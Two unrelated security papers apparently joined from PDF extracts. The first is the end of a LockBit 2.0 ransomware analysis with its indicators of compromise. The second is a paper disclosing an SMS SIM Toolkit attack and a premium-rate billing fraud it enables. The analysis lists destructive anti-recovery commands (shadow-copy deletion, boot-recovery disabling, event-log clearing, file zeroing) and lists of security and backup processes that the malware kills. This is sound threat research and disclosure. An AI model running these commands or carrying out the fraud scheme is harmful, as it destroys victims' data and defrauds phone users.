key Figure 162 www.LIFARS.com | 44 We can observe the icon of the encrypted files in figure 163: Figure 163 We continue with the analysis of the main thread. The binary sends the "Cleanup" message to the hidden window via a function call to SendMessageA. Printing ransom notes The process enumerates the local printers using the EnumPrintersW function (0x2 = PRINTER_ENUM_LOCAL): Figure 164 The ransomware avoids the following values that don’t correspond to physical printers: "Microsoft XPS Document Writer" and "Microsoft Print to PDF". The OpenPrinterW routine is utilized to retrieve a handle to the printer: Figure 165 StartDocPrinterW is used to notify the print spooler that a document is to be spooled for printing: Figure 166 www.LIFARS.com | 45 The StartPagePrinter API notifies the spooler that a page will be printed on the printer: Figure 167 The ransom note is printed via a function call to WritePrinter: Figure 168 The EndPagePrinter routine notifies the print spooler that the application is at the end of a page in the print job: Figure 169 The printing operation is effected 10000 times, as displayed in figure 170: Figure 170 The print job operation is completed by calling the EndDocPrinter and ClosePrinter APIs. LockBit continues the printer enumeration by searching for network printers in the computer’s domain, network printers and print servers in the computer’s domain, and the list of printers to which the user has made previous connections. These function calls can be seen below (0x40 = PRINTER_ENUM_NETWORK, 0x10 = PRINTER_ENUM_REMOTE, 0x4 = PRINTER_ENUM_CONNECTIONS): www.LIFARS.com | 46 Figure 171 Figure 172 Figure 173 LockBit Wallpaper Setup The ransomware sends the "[+] Setup wallpaper" message to the hidden window. The GdiplusStartup API is utilized to initialize Windows GDI+: Figure 174 The file retrieves the width of the screen of the primary display monitor via a function call to GetSystemMetrics: www.LIFARS.com | 47 Figure 175 The malware allocates memory for Windows GDI+ objects using GdipAlloc: Figure 176 A Bitmap object is created based on an array of bytes by calling the GdipCreateBitmapFromScan0 function (0x26200a = PixelFormat32bppARGB): Figure 177 CreateStreamOnHGlobal is utilized to create a stream object: Figure 178 The binary creates a Bitmap object based on the above stream using GdipCreateBitmapFromStream: Figure 179 A new private font collection is created via a call to GdipNewPrivateFontCollection: Figure 180 The malicious process adds a memory font to the private font collection: www.LIFARS.com | 48 Figure 181 The GdipGetImageGraphicsContext function is used to create a Graphics object that is associated with an image object: Figure 182 The malware creates multiple SolidBrush objects based on different colors using the GdipCreateSolidFill routine: Figure 183 All SolidBrush objects are used to fill the interior of multiple rectangles using GdipFillRectangle. The GdipSetPageUnit API is utilized to set the unit of measure for a Graphics object: Figure 184 GdipCreatePen1 is used to create a Pen object: Figure 185 LockBit creates a GraphicsPath object via a function call to GdipCreatePath: www.LIFARS.com | 49 Figure 186 The process performs multiple GdipAddPathArcI calls in order to add elliptical arcs to the current figure of the path: Figure 187 The ransomware performs function calls such as GdipFillPath and GdipDrawPath in order to transform the path. It creates a FontFamily object based on the Proxima Nova Font family: Figure 188 A Font object is created based on the above object via GdipCreateFont: Figure 189 The GdipDrawImageRect function is utilized to draw an image: Figure 190 The malware measures the extent of the strings that will appear in the wallpaper by calling the GdipMeasureString API: www.LIFARS.com | 50 Figure 191 The process draws the strings based on a font, a layout rectangle, and a format via a call to GdipDrawString: Figure 192 The file extracts the path of the %TEMP% directory: Figure 193 GetTempFileNameW is utilized to create a temporary file: Figure 194 The GdipGetImageEncoders function is used to retrieve an array of ImageCodecInfo objects containing information about the available image encoders: Figure 195 www.LIFARS.com | 51 The image constructed in memory is saved to the disk in the temporary file created earlier: Figure 196 Figure 197 shows the wallpaper that will be set: Figure 197 The RegOpenKeyA API is utilized to open the "Control Panel\Desktop" registry key (0x80000001 = HKEY_CURRENT_USER): Figure 198 The “WallpaperStyle” registry value is set to 2, and the “TileWallpaper” value is set to 0 by calling the RegSetValueExA routine (0x1 = REG_SZ): Figure 199 www.LIFARS.com | 52 Figure 200 The Desktop wallpaper is set by calling the SystemParametersInfoW function (0x14 = SPI_SETDESKWALLPAPER, 0x3 = SPIF_UPDATEINIFILE | SPIF_SENDCHANGE): Figure 201 As we can see in the next picture, the registry values were successfully modified: Figure 202 Extract and save the HTA ransom note to Desktop LockBit sends the "[+] Extract *.hta file" message to the hidden window. The HTA ransom note is stored in an encrypted form in the executable. It is decrypted using the XOR operator (key = 0x38). The malicious binary creates a file called “LockBit_Ransomware.hta” on the user Desktop (0x40000000 = GENERIC_WRITE, 0x2 = CREATE_ALWAYS, 0x80 = FILE_ATTRIBUTE_NORMAL): Figure 203 www.LIFARS.com | 53 The WriteFile API is used to populate the HTA file: Figure 204 The ZwCreateKey API is utilized to open the “HKCR\.lockbit” registry key (0x2000000 = MAXIMUM_ALLOWED): Figure 205 The (Default) registry value is set to "LockBit" by calling the ZwSetValueKey function (0x1 = REG_SZ): Figure 206 The malware creates the “HKCR\Lockbit” registry key by calling the ZwCreateKey API (0x2000000 = MAXIMUM_ALLOWED): www.LIFARS.com | 54 Figure 207 The DefaultIcon registry value is set to “C:\windows\SysWow64\2ED873.ico” using ZwSetValueKey (0x1 = REG_SZ): Figure 208 The process creates the following registry subkeys: "shell", "Open", and "Command". The (Default) value is set to "LockBit Class" using ZwSetValueKey (0x1 = REG_SZ): Figure 209 The (Default) registry value under the Command key is set to open the HTA ransom note: Figure 210 www.LIFARS.com | 55 Figure 211 The NtOpenKey routine is utilized to open the “HKCR\.hta” registry key (0x2000000 = MAXIMUM_ALLOWED): Figure 212 The malicious binary retrieves the (Default) registry value via a function call to NtQueryValueKey (0x2 = KeyValuePartialInformation): Figure 213 NtOpenKey is used to open the “HKCR\htafile” key (0x2000000 = MAXIMUM_ALLOWED): Figure 214 The DefaultIcon registry value is set to “C:\windows\SysWow64\2ED873.ico” (0x1 = REG_SZ): www.LIFARS.com | 56 Figure 215 The file opens the Run registry key using RegCreateKeyExW (0x80000001 = HKEY_CURRENT_USER, 0x2001F = KEY_READ | KEY_WRITE): Figure 216 The ransomware creates a value called "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}", which contains the path to the HTA note (0x1 = REG_SZ): Figure 217 ShellExecuteW is utilized to open and display the above ransom note: Figure 218 www.LIFARS.com | 57 Figure 219 LockBit deletes the registry value used for persistence named "{9FD872D4-E5E5-DDC5-399C- 396785BDC975}". We believe this value was created to resume the encryption process in the case of a reboot: Figure 220 The executable sends the "[+] Removed autorun key" message to the hidden window using SendMessageA. There is a call to ZwSetIoCompletion afterward: Figure 221 The malware deletes itself when the system restarts by calling the MoveFileExW function (0x4 = MOVEFILE_DELAY_UNTIL_REBOOT): www.LIFARS.com | 58 Figure 222 There is also a second process that will handle the executable deletion: "cmd.exe /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"C:\\Users\\<User>\\Desktop\\lockbit.exe\" & Del /f /q \"C:\\Users\\<User>\\Desktop\\lockbit.exe\"" By pressing Shift+F1, we can access the hidden window: Figure 223 Figure 224 www.LIFARS.com | 59 Indicators of Compromise Registry Keys Key: HKEY_CLASSES_ROOT\Lockbit\shell\Open\Command Data: "C:\Windows\system32\mshta.exe" "C:\Users\<User>\Desktop\LockBit_Ransomware.hta" Key: HKEY_CLASSES_ROOT\Lockbit\DefaultIcon Key: HKEY_CLASSES_ROOT\.lockbit\DefaultIcon Key: HKEY_CLASSES_ROOT\htafile\DefaultIcon Data: C:\windows\SysWow64\2ED873.ico Key: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7- 838DAE269E11} Data: C:\Users\<User>\Desktop\LockBit_Ransomware.hta Key: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{9FD872D4-E5E5-DDC5-399C- 396785BDC975} Data: <LockBit 2.0 file path> Key: HKCU\Software\2ED873D4E5389C\Private Key: HKCU\Software\2ED873D4E5389C\Public Key: HKCU\Control Panel\Desktop Data: Wallpaper = %AppData%\Local\Temp\<wallpaper>.tmp.bmp Data: TileWallpaper = 0 Data: WallpaperStyle = 2 Files Created C:\Users\<User>\Desktop\LockBit_Ransomware.hta C:\windows\SysWow64\2ED873.ico C:\Users\<User>\AppData\Local\Temp\<wallpaper>.tmp.bmp C:\2ED873D4.lock (or any drive) Processes spawned cmd.exe /c vssadmin Delete Shadows /All /Quiet cmd.exe /c bcdedit /set {default} recoveryenabled No www.LIFARS.com | 60 cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures cmd.exe /c wmic SHADOWCOPY /nointeractive cmd.exe /c wevtutil cl security cmd.exe /c wevtutil cl system cmd.exe /c wevtutil cl application cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no cmd.exe /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"C:\Users\<User>\Desktop\lockbit.exe\" & Del /f /q \"C:\Users\<User>\Desktop\lockbit.exe\" Mutex \BaseNamedObjects\{3FE573D4-3FE5-DD38-399C-886767BD8875} LockBit 2.0 Extension .lockbit LockBit 2.0 Ransom Note Restore-My-Files.txt LockBit_Ransomware.hta www.LIFARS.com | 61 Appendix List of processes to be killed wxServer wxServerView sqlmangr RAgui supervise Culture Defwatch winword QBW32 QBDBMgr qbupdate axlbridge httpd fdlauncher MsDtSrvr java 360se 360doctor wdswfsafe fdhost GDscan ZhuDongFangYu QBDBMgrN mysqld AutodeskDesktopApp acwebbrowser Creative Cloud Adobe Desktop Service CoreSync Adobe CEF Helper node AdobeIPCBroker sync-taskbar sync-worker InputPersonalization AdobeCollabSync BrCtrlCntr BrCcUxSys SimplyConnectionManager Simply.SystemTrayIcon fbguard fbserver ONENOTEM wsa_service koaly-exp-engine-service TeamViewer_Service TeamViewer tv_w32 tv_x64 TitanV Ssms notepad RdrCEF sam oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio wordpad bedbh vxmon benetns bengien pvlsvr beserver raw_agent_svc vsnapvss CagService DellSystemDetect EnterpriseClient ProcessHacker Procexp64 Procexp GlassWire GWCtlSrv WireShark dumpcap j0gnjko1 Autoruns Autoruns64 Autoruns64a Autorunsc Autorunsc64 Autorunsc64a Sysmon Sysmon64 procexp64a procmon procmon64 procmon64a ADExplorer ADExplorer64 ADExplorer64a tcpview tcpview64 tcpview64a avz tdsskiller RaccineElevatedCfg RaccineSettings Raccine_x86 Raccine Sqlservr RTVscan sqlbrowser tomcat6 QBIDPService notepad++ SystemExplorer SystemExplorerService SystemExplorerService64 Totalcmd Totalcmd64 VeeamDeploymentSvc List of services to be stopped wrapper DefWatch ccEvtMgr ccSetMgr SavRoam Sqlservr sqlagent sqladhlp Culserver RTVscan sqlbrowser SQLADHLP QBIDPService Intuit.QuickBooks.FCS QBCFMonitorService msmdsrv tomcat6 zhudongfangyu vmware-usbarbitator64 vmware-converter dbsrv12 dbeng8 MSSQL$MICROSOFT##WID MSSQL$VEEAMSQL2012 SQLAgent$VEEAMSQL2012 SQLBrowser SQLWriter FishbowlMySQL MSSQL$MICROSOFT##WID MySQL57 MSSQL$KAV_CS_ADMIN_KIT MSSQLServerADHelper100 SQLAgent$KAV_CS_ADMIN_KIT msftesql-Exchange MSSQL$MICROSOFT##SSEE MSSQL$SBSMONITORING MSSQL$SHAREPOINT MSSQLFDLauncher$SBSMONITORING MSSQLFDLauncher$SHAREPOINT SQLAgent$SBSMONITORING SQLAgent$SHAREPOINT QBFCService QBVSS YooBackup YooIT vss sql svc$ MSSQL MSSQL$ memtas mepocs sophos veeam backup bedbg PDVFSService BackupExecVSSProvider BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService MVArmor MVarmor64 stc_raw_agent VSNAPVSS VeeamTransportSvc VeeamDeploymentService VeeamNFSSvc AcronisAgent ARSM AcrSch2Svc CASAD2DWebSvc CAARCUpdateSvc WSBExchange MSExchange MSExchange$
pdf
1 SMS Fuzzing – SIM Toolkit Attack Bogdan Alecu [email protected] www.m-sec.net Abstract In this paper I will show how to make a phone send an SMS message without the user’s consent and how to make the phone not to receive any message. The method used works on any phone, no matter if it’s a smartphone or not and also on any GSM/UMTS network. I will present how you can take advantage of sending a special crafted SIM Toolkit command message in order to achieve all that. Finally, I will present the results and their impact on the user and mobile networks security. 1 Introduction SMS stands for Short Message Service and represents a way of communication via text between mobile phones and/or fixed lines, using a standardized protocol. It is an effective way of communication as the user just writes some text and it’s almost instantly delivered to the destination. SMS as used on modern handsets was originated from radio telegraphy in radio memo pagers using standardized phone protocols and later defined as part of the Global System for Mobile Communications (GSM) series of standards in 1985 as a means of sending messages of up to 160 characters, to and from GSM mobile handsets.1 Since then a lot of things have changed regarding this service and now it can be used for multiple purposes: MMS – Multimedia Messaging Service, OTA – Over The Air – phone configuration, notification for 1 http://en.wikipedia.org/wiki/SMS 2 voice mail, email, fax, micropayments – paying a very small sum of money for different services. All these ways of using SMS can lead to security issues as their implementation isn’t fully tested and more important because SMS is like an opened firewall: every phone has it implemented and the phone always receives the message. There have been discovered different errors, security issues related to the SMS: remote DoS for Nokia S60 phones2, phone crashing, rebooting, remote executing EXE files, hijacking mobile data connections3, etc. Until now most of the SMS related security issues have been found by accident. This is also the case for the current security issue presented in the paper. I was experimenting with the binary message sending – multipart messages: sending the second part but the message had only one part, sending the 10000’s part message, etc. and trying to configure the SMSC number stored by sending SIM Application Toolkit messages – when suddenly I’ve noticed that my phone started to send a message by itself. Later on, after playing more with the message that caused this behavior, my phone was not receiving any other messages. I tried putting the SIM on another phone, resetting the SMSC number but nothing helped. In this paper I will show how you can achieve the above behavior, why it happens, what are the security implications and how you can protect. But first, a little bit of theory… 2 SMS The Point-to-Point Short Message Service (SMS) provides a means of sending messages of limited size to and from GSM mobiles. The provision of SMS makes use of a Service Centre, which acts as a store and forward centre for short messages. Two different point-to-point services have been defined: mobile originated and mobile terminated. Mobile originated messages will be transported from an MS to a Service Centre (SC). These may be destined for other mobile users, or for subscribers on a fixed network. Mobile terminated messages will be transported from a Service Centre to an MS. These may be input to the Service Centre by other mobile users (via a mobile originated short message) or by a variety of other sources, e.g. speech, telex, or facsimile. The text messages to be transferred contain up to 140 octets. “An active MS shall be able to receive a short message TPDU - Transfer protocol data unit - (SMS-DELIVER) at any time, independently of whether or not there is a speech or data call in progress. A report will always be returned to the SC; either confirming that the MS has 2 http://berlin.ccc.de/~tobias/cos/s60-curse-of-silence-advisory.txt 3 http://www.mseclab.com 3 received the short message, or informing the SC that it was impossible to deliver the short message TPDU to the MS, including the reason why.”4 “An active MS shall be able to submit a short message TPDU (SMS-SUBMIT) at any time, independently of whether or not there is a speech or data call in progress. A report will always be returned to the MS; either confirming that the SC has received the short message TPDU, or informing the MS that it was impossible to deliver the short message TPDU to the SC, including the reason why.”5 2.1 SMS-SUBMITdetails Here are the basic elements for SMS-SUBMIT type: 4 ETSI TS 100 901 V7.5.0 (2001-12), page 13 5 ETSI TS 100 901 V7.5.0 (2001-12), page 13 4 Table 1 - Basic elements of the SMS-SUBMIT type 6 1) Provision; Mandatory (M) or Optional (O). 2) Representation; Integer (I), bit (b), 2 bits (2b), Octet (o), 7 octets (7o), 2-12 octets (2-12o) 3) Dependent on the TP-DCS 2.1.1 ExampleofSMS-SUBMIT Octet(s) Description 00 Info about SMSC – here the length is 0, which means that the SMSC stored in the phone should be used. 6 ETSI TS 100 901 V7.5.0 (2001-12), page 42 5 01 First octet of the SMS-SUBMIT message. It indicates that there is no reply path, User Data Header, Status Report Request, Validity Period, Reject Duplicates. The message type is SMS- SUBMIT. 00 TP-Message-Reference. The "00" value here lets the phone set the message reference number itself. 0B Address-Length. Length of phone number (11) 91 Type-of-Address. Here it is the international format of the phone number. 4421436587F9 The phone number in semi octets – 44123456789 00 TP-PID, none specified 00 TP-DCS, none specified 0B TP-User-Data-Length. Length of message = length of septets = 11 E8329BFD06DDDF723619 TP-User-Data. These octets represent the message "hello world". Table 2 – Details of how SMS-SUBMIT is composed In order to send this message trough AT commands via a GSM modem, the following steps should be performed: a) Set the modem in PDU mode: AT+CMGF=0 b) Check if modem is able to process SMS: AT+CSMS=0 c) Send the message: AT+CMGS=23 > 0001000B914421436587F900000B E8329BFD06DDDF723619 In order to better understand, see below some screenshots from WireShark used for capturing the debug mode of a Nokia 3310. 6 Figure 1 – Capture from dct3tap software 7 Figure 2 – Capture from Wireshark compiled with GSMTAP showing an outgoing SMS 7 http://bb.osmocom.org/trac/wiki/dct3-gsmtap 7 Figure 3 – Capture from Wireshark compiled with GSMTAP showing the SMS-SUBMIT packet 2.2 SMS-DELIVERdetails Here are the basic elements for SMS-DELIVER type: 8 Table 3 - Basic elements of the SMS-DELIVER type 8 1) Provision; Mandatory (M) or Optional (O) 2) Representation; Integer (I), bit (b), 2 bits (2b), Octet (o), 7 octets (7o), 2-12 octets (2-12o) 3) Dependent on the TP-DCS In order to better understand how the previous message was received by the phone, I will attach some screenshots from WireShark used for capturing the debug mode of a Nokia 3310. 8 ETSI TS 100 901 V7.5.0 (2001-12), page 38 9 Figure 4 – Capture Wireshark compiled with GSMTAP showing an incoming message Figure 5 – Capture Wireshark compiled with GSMTAP showing details of SMS-DELIVER packet 2.3 UserDataHeader(UDH) The User Data Header contains octets that are added to the beginning of the user data part. UDH provides value added services, creating a smart messaging. Field Length Length of User Data Header 1 octet 10 Information-Element-Identifier "A" (IEI) 1 octet Length of Information-Element "A" (IEDL) 1 octet Information-Element "A" Data (IED) n octets, based on IEDL UDH can be used for:  Ringtone  WAP Push  Operator logo  VCARD  Concatenation of messages  SIM Toolkit Security headers 2.3.1 SIMToolkitSecurityheaders There are two types of secure commands in the user data: - Command Packet - a secured packet transmitted by sending entity to the receiving entity, containing secured application message - Response Packet - secured packet transmitted by receiving entity to the sending entity, containing secured response and possibly application data Figure 6 – Structure of the command packet according to GSM 03.48 9 Command Packet Length (CPL) - shall indicate the number of octets from and including the Command Header Identifier to the end of the Secured Data, including any padding octets required for ciphering. Command Header Length (CHL) - the number of octets from and including the SPI to the end of the RC/CC/DS 9 http://adywicaksono.wordpress.com/2008/05/21/ 11 Security Parameter Indicator (SPI) - defines the security level applied to the input and output message Ciphering Key Identifier (KIc) - Key and algorithm Identifier for ciphering Key Identifier (KID) - Key and algorithm Identifier for Redundancy Check (RC) / Cryptographic Checksum (CC) / Digital Signature (DS) Toolkit Application Reference (TAR) - is part of the 23.048 header that identifies and triggers the Over The Air (OTA) feature, which is an application on the SIM Counter (CNTR) - Replay detection and Sequence Integrity counter Padding counter (PCNTR) - indicates the number of padding octets used for ciphering at the end of the secured data 3 Aboutmobilephone Currently there are two types of phones: feature phones and smartphones. Feature phones run the GSM stack and other applications on a proprietary firmware, with no operating system, by using a single processor – baseband processor. They also have a USB port which is used for connecting to a computer, thus acting as a terminal adapter from which the user sends AT commands. Smartphones have two processors: one is the baseband and the other is the application processor for the applications and the user interface. Each processor has its own memory allocation, no matter if there is a separate memory for each or a shared one. 4 Testcase Like I specified before, this security issue has been discovered by a mistake, when playing with different binary messages. In order to make it easy for me to compose these binary messages, a few tools have been used. Also since I didn’t have any hardware available for using the OpenBSC or OpenBTS, I just used the live networks. Since I wanted to keep the spending to minimum, I just chose a pay as you go plan for 5 EUR which has unlimited texting in the same network. 4.1 Toolsused Here is the software and hardware that I used: - PDUspy – for better understating the incoming message and building my own crafted message (available at http://www.nobbi.com/pduspy.html) 12 Figure 7 – Overview of PDUSpy - Nokia 3310 with F-BUS USB cable – I bought the cable on E-Bay Figure 8 – Nokia 3310 with F-BUS cable attached - dct3tap command line utility (Linux) to capture the GSM Um and SIM-ME interfaces from a Nokia DCT3 phone (eg. 3310) and forward via GSMTAP to the Wireshark protocol analyzer. This tool has been created by Duncan Salerno and is available on http://bb.osmocom.org/trac/wiki/dct3-gsmtap 13 - Wireshark development release 1.6.0.rc2 compiled and patched with GSMTAP and SIMCARD in order to decode GSM traffic and SIM access. Instructions on how to patch it can be found at http://bb.osmocom.org/trac/wiki/dct3-gsmtap - NowSMS Gateway for an easy way of sending messages and connection to an SMS provider by SMPP - http://www.nowsms.com/download-free-trial Figure 9 – Image from NowSMS showing the available connection types - Gemalto GemPC Twin reader for accessing the SIM - SIMinfo Python script for reading the SIM files (available at https://gsm.tsaitgaist.info/doku.php?id=siminfo) 4.2 Theattack I will not give the exact binary message that was sent, but describe why the issue is possible. First of all, it is important that the SIM to have the service “data download via SMS Point-to-Point allocated and active. Also the SIM must have a SIM Toolkit Application on it 14 in order to work. Below you will find a table with the results from reading the SIM files with SIMinfo script. File readed result card reader Gemplus GemPC Twin 00 00 card ATR 3B 9F 95 80 1F C3 80 31 A0 73 BE 21 … ICCID 89490240001381900000 CVH1 3 tries left (10 to unblock) CVH2 3 tries left (10 to unblock) number of CHV/UNBLOCK CHV/ADM 4 CHV1/PIN is disabled IMSI 262011910185216 Kc [seq.] 3E104356638C70D0 [2] PLMN selector (user priority) - 222 03 - 222 06 - 222 10 - 211 30 forbidden PLMN - 266 02 - 222 01 - 266 07 - 266 03 user controlled PLMN operator controlled PLMN - 222 03 - 000 22 phase 2 and PROFILE DOWNLOAD required SIM service table - 1 CHV1 disable function allocated, activated - 2 Abbreviated Dialling Numbers (ADN) allocated, activated - 3 Fixed Dialling Numbers (FDN) allocated, activated - 4 Short Message Storage (SMS) allocated, activated - 5 Advice of Charge (AoC) not allocated, not activated - 6 Capability Configuration Parameters (CCP) not allocated, not activated - 7 PLMN selector allocated, activated - 8 RFU not allocated, not activated - 9 MSISDN allocated, activated - 10 Extension1 not allocated, not activated - 11 Extension2 not allocated, not activated - 12 SMS Parameters allocated, activated - 13 Last Number Dialled (LND) allocated, activated - 14 Cell Broadcast Message Identifier not allocated, not activated 15 - 15 Group Identifier Level 1 allocated, activated - 16 Group Identifier Level 2 allocated, activated - 17 Service Provider Name allocated, activated - 18 Service Dialling Numbers (SDN) not allocated, not activated - 19 Extension3 not allocated, not activated - 20 RFU not allocated, not activated - 21 VGCS Group Identifier List (EFVGCS and EFVGCSS) not allocated, not activated - 22 VBS Group Identifier List (EFVBS and EFVBSS) not allocated, not activated - 23 enhanced Multi-Level Precedence and Pre-emption Service not allocated, not activated - 24 Automatic Answer for eMLPP not allocated, not activated - 25 Data download via SMS-CB not allocated, not activated - 26 Data download via SMS-PP allocated, activated - 27 Menu selection allocated, activated - 28 Call control not allocated, not activated - 29 Proactive SIM allocated, activated administration data MS operation mode normal operation OFM (Operational Feature Monitor) enabled length of MNC in the IMSI 2 Table 4 – Result of file reading on SIM where Data download via SMS-PP is present The type of message sent is addressed directly to the SIM, by setting the PID to 0x7F, corresponding to USIM Data Download, as you will see below. Also the DCS has to be a class 2 message type. According to GSM 11.14 here is what happens when these are set10: If the service "data download via SMS Point-to-point" is allocated and activated in the SIM Service Table, then the ME shall follow the procedure below: - When the ME receives a Short Message with protocol identifier = SIM data download, and data coding scheme = class 2 message, then the ME shall pass the message transparently to the SIM using the ENVELOPE (SMS-PP DOWNLOAD) command. - The ME shall not display the message, or alert the user of a short message waiting. In other words, the phone will not display anything and the user will not be aware of this attack. Let’s have a look at the secure command SMS header. One of its components is the Security Parameter Indicator (SPI). SPI is 2 octets long and it has the following structure: 10 ETSI GSM 11.14, December 1996, Version 5.2.0, page 33 16 Figure 10 – Coding of the first SPI octet 11 Figure 11 – Coding of the second SPI octet 12 The vulnerability is possible due to the second byte: here you can set how the proof of receipt (PoR) to be sent – via SMS-DELIVER-REPORT or SMS-SUBMIT. When is set to be on SMS-SUBMIT the phone will try to send back a reply to the originated sender. If we set it to acknowledge the receipt via DELIVER REPORT, the phone will report to the network the status of the message. Since we don’t have valid entries for the KIc, KID, 11 ETSI TS 101 181 V8.9.0 (2005-06), page 13 12 ETSI TS 101 181 V8.9.0 (2005-06), page 13 17 TAR, the result of the STK command is an error so the report will be an error. The sending SMSC then thinks that the phone hasn’t received the message and it will try again to send the message, putting on hold any other future messages that are supposed to be delivered, until the initial message expires. Below you will find a list of images taken from Wireshark indicating how the phone behaves when the special crafted message with PoR set to SMS-SUBMIT is sent. Figure 12 – Capture from Wireshark showing the receipt of the STK message First, the message is received from the network 18 Figure 13 - Capture from Wireshark showing the receipt of the STK message As you can see, the PID is set to “SIM Data download”, DCS to “SIM specific message” class 2 and the Information Element has the STK headers. 19 Figure 14 - Capture from Wireshark showing GSM SIM packet Next the SIM prepares to send a reply message – GSM ENVELOPE packet – and sends it to the network. Figure 15 - Capture from Wireshark showing the automated SMS-SUBMIT Again, note the SIM Toolkit Security Headers. 20 Figure 16 - Capture from Wireshark showing GSM SIM packet with STK reply The most important proof: the SMS was sent automatically due to a SIM Toolkit operation and not due to a human intervention. SIM Application Toolkit provides Value Added Services for the mobile operators. Basically is a set of commands written on the SIM card which helps the card to communicate with the mobile device, making it possible to initiate commands independently of the network or handset. Figure 17 – Communication between the phone and the SIM 13 Starting with the future phones, all of them are able to communicate via SIM Toolkit. 13 http://www.gemalto.com/techno/stk/ 21 Figure 18 – Communication between the phone and the SIM 14 One of the best examples of the STK usage is the extra-menu that you see on your phone, from which you can find details about weather, recharge account, your bank account details, etc. 14 http://www.gemalto.com/techno/stk/ 22 Figure 19 - Capture from Wireshark showing report error In the above capture you can see what happens when the messages comes with the SPI byte having the POR set to DELIVER REPORT. First the phone receives the message (Network to MS) and reports to the network that there was an issue (CP-DATA (RP) RP- ERROR). Further the network believes that the phone was not able to properly receive the message and it will try over and over to send it, until it has expired. 5 Resultsandimpact As stated before, by sending this crafted STK message we can make the phone send automatically a reply to the originated sender. Another behavior is that the phone will not be able to receive any messages until the malformed one expires. I first discovered the vulnerability somewhere in June 2010 and worked on better understanding it. Meanwhile on August 26 2010 I have reported the vulnerability to CERT (Computer Emergency Response Team) and they have assigned a CVE but it was not published yet. Details about this will be published on http://www.cve.mitre.org/cgi- bin/cvename.cgi?name=2010-3612. At the time of this writing I am still waiting for a reply from CERT regarding the date they will disclose it. An important thing to note is that the issue only works for the SIM cards that have SIM Application Toolkit (STK) / USIM Application Toolkit (USAT) implemented. Now more and 23 more operators have these kinds of cards due to the continuous development of the mobile banking, so it won’t be so hard for an attacker to succeed. However, even with this limitation, the attack works no matter the phone you use or the mobile network – GSM / UMTS. Tests have been made on different feature phones and smartphone and they all succeeded. Another thing that should be taken into consideration is that the type of message is addressed directly to the SIM. This means that the operator should allow the users to send this type of SMS, which normally only the mobile operator would send. In practice not many networks firewall the SMS, making it the perfect environment for an attacker since the SMS is always on. However, even if the operator would filter such messages, it would be possible to send the SMS if you have access to a SMSC. This brings us to a developed method of attack. When sending the message between different networks or the same network it doesn’t have such a great financial impact. First of all, if you send the message to someone registered to the same operator as yours, most probably that person won’t be charged extra due to the billing plan which most of the time offers you some messages within the network. If you send to someone registered on a different network, even internationally, it will cost you too much. The question is how can we create a considerable financial impact? The answer is to use a SMSC provider. There are plenty such providers over the Internet to which you can connect in different ways: by email, HTTP, SMPP. The issue is that not all forward correctly the APDU packets to all or some mobile operators. During my research, after contacting about 10 different providers I found two that correctly forwarded the messages to the destination networks tested. It will take you some time, but in the end you’ll find for sure one that works. Most of these providers allow you to change the sender number (address) to either numeric or alphanumeric and they have really good rates for SMS – somewhere in the low euro cent area – and even cheaper than the rates you have on your own operator. 24 Figure 20 – Capture from NowSMS showing the options from SMPP connection Given all these, now we can send a spoofed binary message coming from Thailand. Since the command message sends the reply to the originated number, it will send the reply in Thailand, thus paying much more and making the user get a pretty expensive bill. Even so, the attacker won’t gain any money. To overcome this, the attacker can easily get a premium rate number which will charge 10 EUR per message received. All that is left to do is to spoof the sender with the premium rate number he got. Now for only one message sent – which is a few cents – he gains 10 times more. This has a great impact on the users and it’s not much they can do. How to protect from such attacks? There are a few ways:  Mobile operators could filter command messages that are not coming from themselves. Even if it’s a network protection, users not being protected if not all of the operators implement such security or in case someone comes with their own built network like OpenBTS / OpenBSC, I still consider it would be the best protection especially if we think about the premium rate numbers attack.  Some mobile devices have the option to ask the user about SIM actions. If the option is set, when the phone will try to send the message it will ask to allow this. See some images about this configuration and how the phone behaves.  Use a SIM card that has the service "data download via SMS Point-to-point" deactivated or one that doesn’t have any Toolkit Application on it. 25  Use a Nokia DCT3 phone and stay always connected with the F-BUS cable and Wireshark opened (hard to make it always). However it’s hard to answer such an ambiguous question as we don’t have any information about the type of message, the content, the destination. Also some SIM cards are configured to automatically send a message to the network operator in order to receive settings for MMS and Internet access when they are put in a new device. Most probably the users will allow the phone to send the message. 26 References ETSI TS 100 901 V7.5.0 (2001-12), page 13 ETSI TS 100 901 V7.5.0 (2001-12), page 38 ETSI GSM 11.14, December 1996, Version 5.2.0, page 33 ETSI TS 100 901 V7.5.0 (2001-12), page 42 ETSI TS 101 181 V8.9.0 (2005-06), page 13 ETSI TS 101 181 V8.9.0 (2005-06), page 13 http://adywicaksono.wordpress.com/2008/05/21/ http://bb.osmocom.org/trac/wiki/dct3-gsmtap http://berlin.ccc.de/~tobias/cos/s60-curse-of-silence- advisory.txt http://en.wikipedia.org/wiki/SMS http://www.gemalto.com/techno/stk/ http://www.mseclab.com http://www.nobbi.com/pduspy.html https://gsm.tsaitgaist.info/doku.php?id=siminfo
pdf
